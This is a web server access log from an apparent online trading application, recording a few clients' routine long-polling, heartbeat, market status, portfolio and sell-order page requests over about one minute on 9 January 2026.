[09/Jan/2026:14:14:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939556793 HTTP/1.1" -
[09/Jan/2026:14:14:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939566280 HTTP/1.1" -
[09/Jan/2026:14:14:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939575815 HTTP/1.1" -
[09/Jan/2026:14:14:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939560509 HTTP/1.1" -
[09/Jan/2026:14:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939561930 HTTP/1.1" -
[09/Jan/2026:14:14:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939571309 HTTP/1.1" -
[09/Jan/2026:14:14:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939580869 HTTP/1.1" -
[09/Jan/2026:14:14:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939565578 HTTP/1.1" -
[09/Jan/2026:14:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939567078 HTTP/1.1" -
[09/Jan/2026:14:15:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939576349 HTTP/1.1" -
[09/Jan/2026:14:15:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939585938 HTTP/1.1" -
[09/Jan/2026:14:15:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939570599 HTTP/1.1" -
[09/Jan/2026:14:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939572211 HTTP/1.1" -
[09/Jan/2026:14:15:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939581417 HTTP/1.1" -
[09/Jan/2026:14:15:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939591003 HTTP/1.1" -
[09/Jan/2026:14:15:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939575650 HTTP/1.1" -
[09/Jan/2026:14:15:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939577355 HTTP/1.1" -
[09/Jan/2026:14:15:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939586488 HTTP/1.1" -
[09/Jan/2026:14:15:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939596076 HTTP/1.1" -
[09/Jan/2026:14:15:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939580751 HTTP/1.1" -
[09/Jan/2026:14:15:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939582440 HTTP/1.1" -
[09/Jan/2026:14:15:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939591579 HTTP/1.1" -
[09/Jan/2026:14:15:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939601102 HTTP/1.1" -
[09/Jan/2026:14:15:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939585819 HTTP/1.1" -
[09/Jan/2026:14:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939587518 HTTP/1.1" -
[09/Jan/2026:14:15:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939596652 HTTP/1.1" -
[09/Jan/2026:14:15:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939606125 HTTP/1.1" -
[09/Jan/2026:14:15:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939590885 HTTP/1.1" -
[09/Jan/2026:14:15:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939592653 HTTP/1.1" -
[09/Jan/2026:14:15:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939601694 HTTP/1.1" -
[09/Jan/2026:14:15:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939611200 HTTP/1.1" -
[09/Jan/2026:14:15:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939595970 HTTP/1.1" -
[09/Jan/2026:14:15:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939597805 HTTP/1.1" -
[09/Jan/2026:14:15:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939606729 HTTP/1.1" -
[09/Jan/2026:14:15:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939616234 HTTP/1.1" -
[09/Jan/2026:14:15:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939600998 HTTP/1.1" -
[09/Jan/2026:14:15:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939602958 HTTP/1.1" -
[09/Jan/2026:14:15:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939611824 HTTP/1.1" -
[09/Jan/2026:14:15:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939621302 HTTP/1.1" -
[09/Jan/2026:14:15:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939606075 HTTP/1.1" -
[09/Jan/2026:14:15:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939608146 HTTP/1.1" -
[09/Jan/2026:14:15:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939616897 HTTP/1.1" -
[09/Jan/2026:14:15:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939626325 HTTP/1.1" -
[09/Jan/2026:14:15:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939611139 HTTP/1.1" -
[09/Jan/2026:14:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939613198 HTTP/1.1" -
[09/Jan/2026:14:15:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1962
[09/Jan/2026:14:15:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:15:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939621988 HTTP/1.1" -
[09/Jan/2026:14:15:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939631393 HTTP/1.1" -
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:15:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
